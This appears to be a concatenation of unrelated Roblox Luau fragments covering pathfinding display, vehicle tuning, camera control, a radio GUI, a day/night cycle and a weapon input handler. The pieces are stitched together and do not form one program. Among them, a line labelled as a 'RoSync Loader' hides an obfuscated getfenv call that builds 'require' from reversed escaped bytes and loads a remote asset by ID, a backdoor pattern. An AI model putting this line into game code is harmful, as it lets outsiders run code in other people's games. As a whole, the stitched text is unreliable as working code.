rayDown = Ray.new(point + Vector3.new(0, 2, 0), Vector3.new(0, -8, 0)) local hitPart, hitPoint, hitNormal = workspace:FindPartOnRayWithIgnoreList(rayDown, { (game.Players.LocalPlayer :: Player).Character :: Model, workspace.CurrentCamera :: Camera }) if not hitPart then return nil end local pointCFrame = CFrame.new(hitPoint, hitPoint + hitNormal) local point = retrieveFromPool() point.CFrame = pointCFrame point.Parent = pointModel return point end function PathDisplay.setCurrentPoints(points) if typeof(points) == 'table' then currentPoints = points else currentPoints = {} end end function PathDisplay.clearRenderedPath() for _, oldPoint in ipairs(renderedPoints) do oldPoint.Parent = nil returnToPool(oldPoint) end renderedPoints = {} pointModel.Parent = nil end function PathDisplay.renderPath() PathDisplay.clearRenderedPath() if not currentPoints or #currentPoints == 0 then return end local currentIdx = #currentPoints local lastPos = currentPoints[currentIdx] local distanceBudget = 0 renderedPoints[1] = renderPoint(lastPos, true) if not renderedPoints[1] then return end while true do local currentPoint = currentPoints[currentIdx] local nextPoint = currentPoints[currentIdx - 1] if currentIdx < 2 then break else local toNextPoint = nextPoint - currentPoint local distToNextPoint = toNextPoint.magnitude if distanceBudget > distToNextPoint then distanceBudget = distanceBudget - distToNextPoint currentIdx = currentIdx - 1 else local dirToNextPoint = toNextPoint.unit local pointPos = currentPoint + (dirToNextPoint * distanceBudget) local point = renderPoint(pointPos, false) if point then renderedPoints[#renderedPoints + 1] = point end distanceBudget = distanceBudget + PathDisplay.spacing end end end pointModel.Parent = workspace.CurrentCamera end return PathDisplay
-- Import all child modules into Enums
for _, module in pairs( script:GetChildren() ) do if ( not module:IsA("ModuleScript") ) then return end assert( (not Enums[module.Name]), string.format("%s.%s already exists!", script:GetFullName(), module.Name) ) local requiredModule = require( module ) assert( typeof(requiredModule) == "table", "Enums expects modules to return a table, got" .. type(requiredModule) ) Enums[ module.Name ] = CustomEnum.new( module.Name, requiredModule ) end
-- Libraries
local Roact = require(Vendor:WaitForChild('Roact')) local fastSpawn = require(Libraries:WaitForChild('fastSpawn'))
--tone hz
elseif sv.Value==2 then while s.Pitch<0.67 do s.Pitch=s.Pitch+0.010 s:Play() if s.Pitch>0.67 then s.Pitch=0.67 end wait(-9) end while true do for x = 1, 500 do s:play() wait(-9) end wait() end
--local UserInputService = game:GetService("UserInputService")
local Grip = script.Parent.Grip local Eating = false local Bites = 0
--//Transmission//--
AmountOfGears = 7 --{Max of 8 gears} TransmissionType = "Automatic" --{HPattern, Automatic, DualClutch, CVT} Drivetrain = "RWD" --{RWD, FWD, AWD} TorqueSplit = 70 --{Split to the rear wheels} DifferentialF = 0 --{0 = Open, 1 = locked} DifferentialR = 0.6 --{0 = Open, 1 = locked} Gear1 = 4.60 Gear2 = 2.72 Gear3 = 1.86 Gear4 = 1.46 Gear5 = 1.23 Gear6 = 1.00 Gear7 = 0.82 Gear8 = 0.69 FinalDrive = 2.937 EngineIdle = 600 EngineRedline = 6800
-- Load Roblox Occlusion Modules
local Invisicam = require(script:WaitForChild("Invisicam")) local Poppercam = require(script:WaitForChild("Poppercam")) local MouseLockController = require(script:WaitForChild("MouseLockController"))
--Miscellaneous--
local player = game.Players.LocalPlayer local carSeat = script.Parent.CarSeat.Value local mouse = game.Players.LocalPlayer:GetMouse() local control = script.Parent.Storage.Control
--!strict
local findOr = require(script.Parent.findOr) local slice = require(script.Parent.slice) local LuauPolyfill = script.Parent.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T> local MAX_SAFE_INTEGER = require(LuauPolyfill.Number).MAX_SAFE_INTEGER type Pattern = string | Array<string> local function split(str: string, _pattern: Pattern?, _limit: number?): Array<string> if _pattern == nil then return { str } end if _limit == 0 then return {} end local limit = if _limit == nil or _limit < 0 then MAX_SAFE_INTEGER else _limit local pattern = _pattern local patternList: Array<string> if typeof(pattern) == "string" then if pattern == "" then local result = {} for c in str:gmatch(".") do table.insert(result, c) end return result end patternList = { pattern } else patternList = pattern :: Array<string> end local init = 1 local result = {} local lastMatch local strLen, invalidBytePosition = utf8.len(str) assert(strLen ~= nil, ("string `%s` has an invalid byte at position %s"):format(str, tostring(invalidBytePosition))) repeat local match = findOr(str, patternList, init) if match ~= nil then table.insert(result, slice(str, init, match.index)) local matchLength = utf8.len(match.match) -- Luau FIXME? Luau doesn't understand that str has already been shown to be valid utf8 on line 26 and therefore won't be nil init = match.index + matchLength :: number else table.insert(result, slice(str, init, nil)) end if match ~= nil then lastMatch = match end until match == nil or init > strLen or #result >= limit if lastMatch ~= nil then local lastMatchLength, invalidBytePosition_ = utf8.len(lastMatch.match) assert( lastMatchLength ~= nil, ("string `%s` has an invalid byte at position %s"):format(lastMatch.match, tostring(invalidBytePosition_)) ) if lastMatch.index + lastMatchLength == strLen + 1 then table.insert(result, "") end end return result end return split
-------------------------------------------
local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(0.5, 3,-0.4) * CFrame.fromEulerAnglesXYZ(math.rad(90),0.1,0.1) arms[2].Name = "RDave" arms[2].CanCollide = true welds[2] = weld2
-- CONSTANTS
local GuiLib = script.Parent.Parent local Lazy = require(GuiLib:WaitForChild("LazyLoader")) local Defaults = GuiLib:WaitForChild("Defaults") local LIST_BUTTON = Defaults:WaitForChild("ListButton") local DEFAULT_LAYOUT = { SortOrder = Enum.SortOrder.LayoutOrder }
---------------------------------------------------------------------------------------------------- ------------------=[ Status UI ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableStatusUI = true --- Don't disabled it... ,RunWalkSpeed = 22 ,NormalWalkSpeed = 16 ,SlowPaceWalkSpeed = 8 ,CrouchWalkSpeed = 8 ,ProneWalksSpeed = 4 ,EnableHunger = true --- Hunger and Thirst system ,HungerWaitTime = 25 ,CanDrown = true --- Welp.. That's it ,EnableStamina = true --- Weapon Sway based on stamina ,RunValue = 1 --- Stamina consumption ,StandRecover = .25 --- Stamina recovery while stading ,CrouchRecover = .5 --- Stamina recovery while crouching ,ProneRecover = 1 --- Stamina recovery while lying ,EnableGPS = false --- GPS shows your allies around you ,GPSdistance = 150 ,InteractionMenuKey = Enum.KeyCode.LeftControl
-- FOLDERS --
local Remotes = RS:WaitForChild("Remotes") local Modules = RS:WaitForChild("Modules")
----------do not edit anything below this line
local function createMessageOnClient(msg) game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = msg; Font = Enum.Font.SourceSansBold; Color = sm; FontSize = Enum.FontSize.Size18; }) end if welcomeMessageOn then createMessageOnClient(welcomeMessage) end if displayJoinMessage then createMessageOnClient(game:GetService("Players").LocalPlayer.Name..joinMessage) game:GetService('Players').PlayerAdded:Connect(function(plr) createMessageOnClient(plr.Name..joinMessage) end) end if displayLeaveMessage then game:GetService('Players').PlayerRemoving:Connect(function(plr) createMessageOnClient(plr.Name..leftMessage) end) end
--local ViewPort = game.Players.LocalPlayer.PlayerGui["FOSLS-UI MODIFYING"].Container.Content.AnimationSelection.Main.Preview.ViewportFrame;
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 4 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 4 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.5 , --[[ 3 ]] 1.75 } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.
local dayLength = 1 local cycleTime = dayLength*16 local minutesInADay = 24*60 local lighting = game:GetService("Lighting") local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime local endTime = startTime + cycleTime local timeRatio = minutesInADay / cycleTime if dayLength == 0 then dayLength = 1 end repeat local currentTime = tick() if currentTime > endTime then startTime = endTime endTime = startTime + cycleTime end lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio) wait(1/15) until false
--[[-------------------------------------- REMOTE CONNECTIONS ------------------------------]]
-- playSoundEffectEvent.OnServerEvent:Connect(validateAndSendSoundRequest)
--[[ Registry - A handler for indexing and accessing objects of a single class associated with a key ]]
local Registry = {}
--[[ Last synced 7/20/2021 08:05 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--Button:WaitForChild('Backdrop')
Button.MouseEnter:connect(function() --Button.Icon.ImageColor3 = Color3.new(1,1,1) Button.Label:TweenPosition(UDim2.new(0,0,.75,-2),'Out','Quint',.2,true) Button.Icon:TweenPosition(UDim2.new(0.5,0,.4,0),'Out','Quint',.2,true) --Button.Backdrop:TweenPosition(UDim2.new(0,0,0,0),'Out','Quint',.2,true) end) Button.MouseLeave:connect(function() --Button.Icon.ImageColor3 = Color3.new(0,0,0) Button.Label:TweenPosition(UDim2.new(0,0,1,0),'In','Back',.2,true) Button.Icon:TweenPosition(UDim2.new(0.5,0,.5,0),'In','Back',.2,true) --Button.Backdrop:TweenPosition(UDim2.new(0,-2,0,0),'Out','Back',.2,true) end) Button.Toggle.MouseButton1Click:connect(function() if not Open then Open = true current = script.Parent.Parent.Menus[Button.Name] script.Parent.Parent.Menus[Button.Name]:TweenPosition(UDim2.new(0,0,0,32),'Out','Quint',.4,true) TransformTopBar(script.Parent.Parent.Menus[Button.Name]) end end) Top:WaitForChild('Exit').MouseButton1Click:connect(function() if Open then if Purchasing == false then Open = false if current.Name == 'In' then current.RTypeBox.Selected.Value = '' current.UsernameBox.Input.Text = '' current.UsernameBox.Input.AutoFill.Text = '' current.UsernameBox.Label:TweenSizeAndPosition(UDim2.new(1,0,.7,0),UDim2.new(0,0,.5,0),'Out','Quint',.2,true) end if current.Name == 'Out' then current.UsernameBox.Input.Text = '' current.UsernameBox.Input.AutoFill.Text = '' current.UsernameBox.Label:TweenSizeAndPosition(UDim2.new(1,0,.7,0),UDim2.new(0,0,.5,0),'Out','Quint',.2,true) end current:TweenPosition(UDim2.new(0,0,1,32),'Out','Quint',.4,true) TransformTopBar(script.Parent) else script.Parent.Parent.Menus.Purchasing:TweenPosition(UDim2.new(0,0,1,32),'Out','Quint',.4,true) TransformTopBar(script.Parent.Parent.Menus.Help) current = script.Parent.Parent.Menus.Help Purchasing = false end end end) end Top.Search.MouseButton1Up:connect(function() if current then current:TweenPosition(UDim2.new(0,0,1,32),'Out','Quint',.4,true) TransformTopBar(script.Parent.Parent.Menus.Help) if current.Name == 'In' then current.RTypeBox.Selected.Value = '' current.UsernameBox.Input.Text = '' current.UsernameBox.Input.AutoFill.Text = '' current.UsernameBox.Label:TweenSizeAndPosition(UDim2.new(1,0,.7,0),UDim2.new(0,0,.5,0),'Out','Quint',.2,true) end if current.Name == 'Out' then current.UsernameBox.Input.Text = '' current.UsernameBox.Input.AutoFill.Text = '' current.UsernameBox.Label:TweenSizeAndPosition(UDim2.new(1,0,.7,0),UDim2.new(0,0,.5,0),'Out','Quint',.2,true) end end current = script.Parent.Parent.Menus.Help TransformTopBar(script.Parent.Parent.Menus.Help) Open = true current:TweenPosition(UDim2.new(0,0,0,32),'Out','Quint',.4,true) Top.Exit.MouseButton1Up:connect(function() if Open then Open = false current:TweenPosition(UDim2.new(0,0,1,32),'Out','Quint',.4,true) TransformTopBar(script.Parent) end end) end) script.Parent.Parent.Menus:WaitForChild('Help'):WaitForChild('buy'):WaitForChild('Toggle').MouseButton1Up:connect(function() if current == script.Parent.Parent.Menus.Help then script.Parent.Parent.Menus.Purchasing:TweenPosition(UDim2.new(0,0,0,32),'Out','Quint',.4,true) Purchasing = true --current = script.Parent.Parent.Menus.Purchasing end end)
------------------------------------------
gui.Track.Text = radio.TName.Value radio.TName.Changed:connect(function() gui.Track.Text = radio.TName.Value end) gui.Stop.MouseButton1Click:connect(function() if radio.Stopped.Value == false then radio.Stopped.Value = true end end) gui.Pause.MouseButton1Click:connect(function() if radio.Paused.Value == false and radio.Stopped.Value == false then radio.Paused.Value = true end end) gui.Play.MouseButton1Click:connect(function() if radio.Stopped.Value == true then radio.Play.Value = not radio.Play.Value else if radio.Paused.Value == true then radio.Paused.Value = false end end end) gui.Forward.MouseButton1Click:connect(function() local n = radio.Track.Value+1 if n>#radio.Songs:GetChildren() then n = 1 end radio.Track.Value = n end) gui.Back.MouseButton1Click:connect(function() local n = radio.Track.Value-1 if n<=0 then n = #radio.Songs:GetChildren() end radio.Track.Value = n end) gui.AutoplayOn.MouseButton1Click:connect(function() if radio.Autoplay.Value == true then radio.Autoplay.Value = false end end) gui.AutoplayOff.MouseButton1Click:connect(function() if radio.Autoplay.Value == false then radio.Autoplay.Value = true end end) gui.List.MouseButton1Click:connect(function() gui.Menu.Visible=not gui.Menu.Visible end) gui.Id.MouseButton1Click:connect(function() gui.IdPlayer.Visible=not gui.IdPlayer.Visible if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end end) gui.IdPlayer.Play.MouseButton1Click:connect(function() if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then radio.IdPlay.Value="" wait() end radio.IdPlay.Value=gui.IdPlayer.TextBox.Text end) for i,v in pairs(gui.Menu:GetChildren()) do v.MouseButton1Click:connect(function() radio.Track.Value = i end) end function Stopped() if radio.Stopped.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else gui.Play.Visible = false gui.Pause.Visible = true end end function Paused() if radio.Paused.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else if radio.Stopped.Value == false then gui.Play.Visible = false gui.Pause.Visible = true end end end function Autoplay() if radio.Autoplay.Value == true then gui.AutoplayOff.Visible = false gui.AutoplayOn.Visible = true else gui.AutoplayOn.Visible = false gui.AutoplayOff.Visible = true end end radio.Stopped.Changed:connect(Stopped) radio.Paused.Changed:connect(Paused) radio.Autoplay.Changed:connect(Autoplay) Stopped() Paused() Autoplay() while wait(.5) do if seat:FindFirstChild("SeatWeld") == nil then script.Parent:Destroy() end end
-- Note: Called whenever workspace.CurrentCamera changes, but also on initialization of this script
function CameraModule:OnCurrentCameraChanged() local currentCamera = game.Workspace.CurrentCamera if not currentCamera then return end if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() end if self.cameraTypeChangedConn then self.cameraTypeChangedConn:Disconnect() end self.cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnCameraSubjectChanged(currentCamera.CameraSubject) end) self.cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):Connect(function() self:OnCameraTypeChanged(currentCamera.CameraType) end) self:OnCameraSubjectChanged(currentCamera.CameraSubject) self:OnCameraTypeChanged(currentCamera.CameraType) end function CameraModule:OnLocalPlayerCameraPropertyChanged(propertyName) if propertyName == "CameraMode" then -- CameraMode is only used to turn on/off forcing the player into first person view. The -- Note: The case "Classic" is used for all other views and does not correspond only to the ClassicCamera module if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then -- Locked in first person, use ClassicCamera which supports this if not self.activeCameraController or self.activeCameraController:GetModuleName() ~= "ClassicCamera" then self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(Enum.DevComputerCameraMovementMode.Classic)) end if self.activeCameraController then self.activeCameraController:UpdateForDistancePropertyChange() end elseif Players.LocalPlayer.CameraMode == Enum.CameraMode.Classic then -- Not locked in first person view local cameraMovementMode = self:GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) else warn("Unhandled value for property player.CameraMode: ",Players.LocalPlayer.CameraMode) end elseif propertyName == "DevComputerCameraMode" or propertyName == "DevTouchCameraMode" then local cameraMovementMode = self:GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) elseif propertyName == "DevCameraOcclusionMode" then self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode) elseif propertyName == "CameraMinZoomDistance" or propertyName == "CameraMaxZoomDistance" then if self.activeCameraController then self.activeCameraController:UpdateForDistancePropertyChange() end elseif propertyName == "DevTouchMovementMode" then elseif propertyName == "DevComputerMovementMode" then elseif propertyName == "DevEnableMouseLock" then -- This is the enabling/disabling of "Shift Lock" mode, not LockFirstPerson (which is a CameraMode) -- Note: Enabling and disabling of MouseLock mode is normally only a publish-time choice made via -- the corresponding EnableMouseLockOption checkbox of StarterPlayer, and this script does not have -- support for changing the availability of MouseLock at runtime (this would require listening to -- Player.DevEnableMouseLock changes) end end function CameraModule:OnUserGameSettingsPropertyChanged(propertyName) if propertyName == "ComputerCameraMovementMode" then local cameraMovementMode = self:GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) end end
--Copy the following code from line #3-39 and paste it in the command bar. Then press enter.
local function regionPaintPart(p, yC, padding) --[[each part is divided into smaller regions (each with a size of 4x4 studs) since some parts are rotated and regions cant be rotated]] padding = padding or 0 local s = p.Size+Vector3.new(padding*2,0,padding*2) for x=1, s.X/3 do for z=1, s.Z/3 do if ((z+x)%200)==0 then wait() end local p2c = CFrame.new(p.CFrame:PointToWorldSpace(Vector3.new(x*3,yC,z*3)-Vector3.new(s.X/2,0,s.Z/2))) local p2s = Vector3.new(5,5,5) local r = Region3.new(p2c:PointToWorldSpace(-Vector3.new(p2s.X/2,5,p2s.Z/2)), p2c:PointToWorldSpace(Vector3.new(p2s.X/2,5,p2s.Z/2))) workspace.Terrain:ReplaceMaterial(r:ExpandToGrid(4) ,4,Enum.Material.Grass, Enum.Material.LeafyGrass) end end end local function FixGrassPart(p, pad) regionPaintPart(p, 0, pad) end local function FixAllGrassParts(pad) for _, v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") and not v:IsA("MeshPart") and not v:IsA("Terrain") and v.Size.Y < 10 then print(v) if (_%100)==0 then wait() --[[Waits every 100 parts so it doesn't freeze studio]] end FixGrassPart(v, pad) end end print('FINISHED') end wait() FixAllGrassParts(2)
-- obtain goals based on Center part
center.BodyPosition.position = beacon.Center.Position teamColor = center.Color vel = center.BodyVelocity healerIsResting = false function restHealer() healerIsResting = true wait(5) healerIsResting = false end function joinTeam(humanoid) local team = Instance.new("Color3Value") team.Value = teamColor team.Name = "Team" team.Parent = humanoid humanoid.Torso.Color = teamColor humanoid.Torso.Reflectance = 0.2 humanoid.LeftLeg.Color = teamColor humanoid.LeftLeg.Reflectance = 0.2 humanoid.RightLeg.Color = teamColor humanoid.RightLeg.Reflectance = 0.2 end function onTouchHumanoid(humanoid) local team = humanoid:findFirstChild("Team", false) if team==nil then joinTeam(humanoid) elseif team.Value~=teamColor then -- Harm the enemy! humanoid.Health = 0 return end if not healerIsResting then -- Heal the player humanoid.Health = humanoid.Health + 50 coroutine.resume(coroutine.create(restHealer)) end end goingUp = false function goUp(speed) if goingUp then return end goingUp = true vel.velocity = Vector3.new(0,speed,0) wait(20/speed) vel.velocity = Vector3.new(0,-2,0) goingUp = false end function onTouch(touchedPart) -- see if a character touched it local parent = touchedPart.Parent if parent~=nill then local humanoid = parent:findFirstChild("Humanoid", false); if humanoid ~= nill then onTouchHumanoid(humanoid) goUp(10) return end end -- change direction if touchedPart.Position.y > beacon.Center.Position.y then vel.velocity = Vector3.new(0,-2,0) goingUp = false elseif touchedPart.Position.y < beacon.Center.Position.y then goUp(2) end end function connectPart(part) part.Color = teamColor part.Touched:connect(onTouch) end
-- ROBLOX deviation: we're using the TypeScript definition here, which is more strict
export type ReactElement<P = Object, T = any> = { ["$$typeof"]: number, -- ROBLOX FIXME Luau: Luau has some trouble and inlining the type param from createElement doesn't help type: React_StatelessFunctionalComponent<P> | React_ComponentType<P> | string, -- type: T, key: Key | nil, ref: any, props: P, -- ROBLOX deviation: upstream has this as interface, which is extensible, Luau types are closed by default -- ReactFiber _owner: any, -- __DEV__ _store: any?, _self: React_Element<any>?, _shadowChildren: any?, _source: Source?, }
--// Char Parts
local Humanoid = char:WaitForChild('Humanoid') local Head = char:WaitForChild('Head') local Torso = char:WaitForChild('Torso') local HumanoidRootPart = char:WaitForChild('HumanoidRootPart') local RootJoint = HumanoidRootPart:WaitForChild('RootJoint') local Neck = Torso:WaitForChild('Neck') local Right_Shoulder = Torso:WaitForChild('Right Shoulder') local Left_Shoulder = Torso:WaitForChild('Left Shoulder') local Right_Hip = Torso:WaitForChild('Right Hip') local Left_Hip = Torso:WaitForChild('Left Hip') local YOffset = Neck.C0.Y local WaistYOffset = Neck.C0.Y local CFNew, CFAng = CFrame.new, CFrame.Angles local Asin = math.asin local T = 0.15 User.MouseIconEnabled = true plr.CameraMode = Enum.CameraMode.Classic cam.CameraType = Enum.CameraType.Custom cam.CameraSubject = Humanoid if gameRules.TeamTags then local tag = Essential.TeamTag:clone() tag.Parent = char tag.Disabled = false end function handleAction(actionName, inputState, inputObject) if actionName == "Fire" and inputState == Enum.UserInputState.Begin and AnimDebounce then Shoot() if WeaponData.Type == "Grenade" then CookGrenade = true Grenade() end elseif actionName == "Fire" and inputState == Enum.UserInputState.End then mouse1down = false CookGrenade = false end if actionName == "Reload" and inputState == Enum.UserInputState.Begin and AnimDebounce and not CheckingMag and not reloading then if WeaponData.Jammed then Jammed() else Reload() end end if actionName == "Reload" and inputState == Enum.UserInputState.Begin and reloading and WeaponData.ShellInsert then CancelReload = true end if actionName == "CycleLaser" and inputState == Enum.UserInputState.Begin and LaserAtt then SetLaser() end if actionName == "CycleLight" and inputState == Enum.UserInputState.Begin and TorchAtt then SetTorch() end if actionName == "CycleFiremode" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.FireModes.ChangeFiremode then Firemode() end if actionName == "CycleAimpart" and inputState == Enum.UserInputState.Begin then SetAimpart() end if actionName == "ZeroUp" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then if WeaponData.CurrentZero < WeaponData.MaxZero then WeaponInHand.Handle.Click:play() WeaponData.CurrentZero = math.min(WeaponData.CurrentZero + WeaponData.ZeroIncrement, WeaponData.MaxZero) UpdateGui() end end if actionName == "ZeroDown" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then if WeaponData.CurrentZero > 0 then WeaponInHand.Handle.Click:play() WeaponData.CurrentZero = math.max(WeaponData.CurrentZero - WeaponData.ZeroIncrement, 0) UpdateGui() end end if actionName == "CheckMag" and inputState == Enum.UserInputState.Begin and not CheckingMag and not reloading and not runKeyDown and AnimDebounce then CheckMagFunction() end if actionName == "ToggleBipod" and inputState == Enum.UserInputState.Begin and CanBipod then BipodActive = not BipodActive UpdateGui() end if actionName == "NVG" and inputState == Enum.UserInputState.Begin and not NVGdebounce then if not plr.Character then return; end; local helmet = plr.Character:FindFirstChild("Helmet") if not helmet then return; end; local nvg = helmet:FindFirstChild("Up") if not nvg then return; end; NVGdebounce = true delay(.8,function() NVG = not NVG Evt.NVG:Fire(NVG) NVGdebounce = false end) end if actionName == "ADS" and inputState == Enum.UserInputState.Begin and AnimDebounce then if WeaponData and WeaponData.canAim and GunStance > -2 and not runKeyDown and not CheckingMag then aimming = not aimming ADS(aimming) end if WeaponData.Type == "Grenade" then GrenadeMode() end end if actionName == "Stand" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then if Stances == 2 then Crouched = true Proned = false Stances = 1 CameraY = -1 Crouch() elseif Stances == 1 then Crouched = false Stances = 0 CameraY = 0 Stand() end end if actionName == "Crouch" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then if Stances == 0 then Stances = 1 CameraY = -1 Crouch() Crouched = true elseif Stances == 1 then Stances = 2 CameraX = 0 CameraY = -3.25 Virar = 0 Lean() Prone() Crouched = false Proned = true end end if actionName == "ToggleWalk" and inputState == Enum.UserInputState.Begin and ChangeStance and not runKeyDown then Steady = not Steady SE_GUI.MainFrame.Poses.Steady.Visible = Steady if Stances == 0 then Stand() end end if actionName == "LeanLeft" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then if Virar == 0 or Virar == 1 then Virar = -1 CameraX = -1.25 else Virar = 0 CameraX = 0 end Lean() end if actionName == "LeanRight" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then if Virar == 0 or Virar == -1 then Virar = 1 CameraX = 1.25 else Virar = 0 CameraX = 0 end Lean() end if actionName == "Run" and inputState == Enum.UserInputState.Begin and running and not script.Parent:GetAttribute("Injured") then mouse1down = false runKeyDown = true Stand() Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Lean() char:WaitForChild("Humanoid").WalkSpeed = gameRules.RunWalkSpeed if aimming then aimming = false ADS(aimming) end if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then GunStance = 3 Evt.GunStance:FireServer(GunStance,AnimData) SprintAnim() end elseif actionName == "Run" and inputState == Enum.UserInputState.End and runKeyDown then runKeyDown = false Stand() if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() end end end function resetMods() ModTable.camRecoilMod.RecoilUp = 1 ModTable.camRecoilMod.RecoilLeft = 1 ModTable.camRecoilMod.RecoilRight = 1 ModTable.camRecoilMod.RecoilTilt = 1 ModTable.gunRecoilMod.RecoilUp = 1 ModTable.gunRecoilMod.RecoilTilt = 1 ModTable.gunRecoilMod.RecoilLeft = 1 ModTable.gunRecoilMod.RecoilRight = 1 ModTable.AimRM = 1 ModTable.SpreadRM = 1 ModTable.DamageMod = 1 ModTable.minDamageMod = 1 ModTable.MinRecoilPower = 1 ModTable.MaxRecoilPower = 1 ModTable.RecoilPowerStepAmount = 1 ModTable.MinSpread = 1 ModTable.MaxSpread = 1 ModTable.AimInaccuracyStepAmount = 1 ModTable.AimInaccuracyDecrease = 1 ModTable.WalkMult = 1 ModTable.MuzzleVelocity = 1 end function setMods(ModData) ModTable.camRecoilMod.RecoilUp = ModTable.camRecoilMod.RecoilUp * ModData.camRecoil.RecoilUp ModTable.camRecoilMod.RecoilLeft = ModTable.camRecoilMod.RecoilLeft * ModData.camRecoil.RecoilLeft ModTable.camRecoilMod.RecoilRight = ModTable.camRecoilMod.RecoilRight * ModData.camRecoil.RecoilRight ModTable.camRecoilMod.RecoilTilt = ModTable.camRecoilMod.RecoilTilt * ModData.camRecoil.RecoilTilt ModTable.gunRecoilMod.RecoilUp = ModTable.gunRecoilMod.RecoilUp * ModData.gunRecoil.RecoilUp ModTable.gunRecoilMod.RecoilTilt = ModTable.gunRecoilMod.RecoilTilt * ModData.gunRecoil.RecoilTilt ModTable.gunRecoilMod.RecoilLeft = ModTable.gunRecoilMod.RecoilLeft * ModData.gunRecoil.RecoilLeft ModTable.gunRecoilMod.RecoilRight = ModTable.gunRecoilMod.RecoilRight * ModData.gunRecoil.RecoilRight ModTable.AimRM = ModTable.AimRM * ModData.AimRecoilReduction ModTable.SpreadRM = ModTable.SpreadRM * ModData.AimSpreadReduction ModTable.DamageMod = ModTable.DamageMod * ModData.DamageMod ModTable.minDamageMod = ModTable.minDamageMod * ModData.minDamageMod ModTable.MinRecoilPower = ModTable.MinRecoilPower * ModData.MinRecoilPower ModTable.MaxRecoilPower = ModTable.MaxRecoilPower * ModData.MaxRecoilPower ModTable.RecoilPowerStepAmount = ModTable.RecoilPowerStepAmount * ModData.RecoilPowerStepAmount ModTable.MinSpread = ModTable.MinSpread * ModData.MinSpread ModTable.MaxSpread = ModTable.MaxSpread * ModData.MaxSpread ModTable.AimInaccuracyStepAmount = ModTable.AimInaccuracyStepAmount * ModData.AimInaccuracyStepAmount ModTable.AimInaccuracyDecrease = ModTable.AimInaccuracyDecrease * ModData.AimInaccuracyDecrease ModTable.WalkMult = ModTable.WalkMult * ModData.WalkMult ModTable.MuzzleVelocity = ModTable.MuzzleVelocity * ModData.MuzzleVelocityMod end function loadAttachment(weapon) if not weapon or not weapon:FindFirstChild("Nodes") then return; end; --load sight Att if weapon.Nodes:FindFirstChild("Sight") and WeaponData.SightAtt ~= "" then SightData = require(AttModules[WeaponData.SightAtt]) SightAtt = AttModels[WeaponData.SightAtt]:Clone() SightAtt.Parent = weapon SightAtt:SetPrimaryPartCFrame(weapon.Nodes.Sight.CFrame) weapon.AimPart.CFrame = SightAtt.AimPos.CFrame reticle = SightAtt.SightMark.SurfaceGui.Border.Scope if SightData.SightZoom > 0 then ModTable.ZoomValue = SightData.SightZoom end if SightData.SightZoom2 > 0 then ModTable.Zoom2Value = SightData.SightZoom2 end setMods(SightData) for index, key in pairs(weapon:GetChildren()) do if key.Name ~= "IS" then continue; end; key.Transparency = 1 end for index, key in pairs(SightAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; 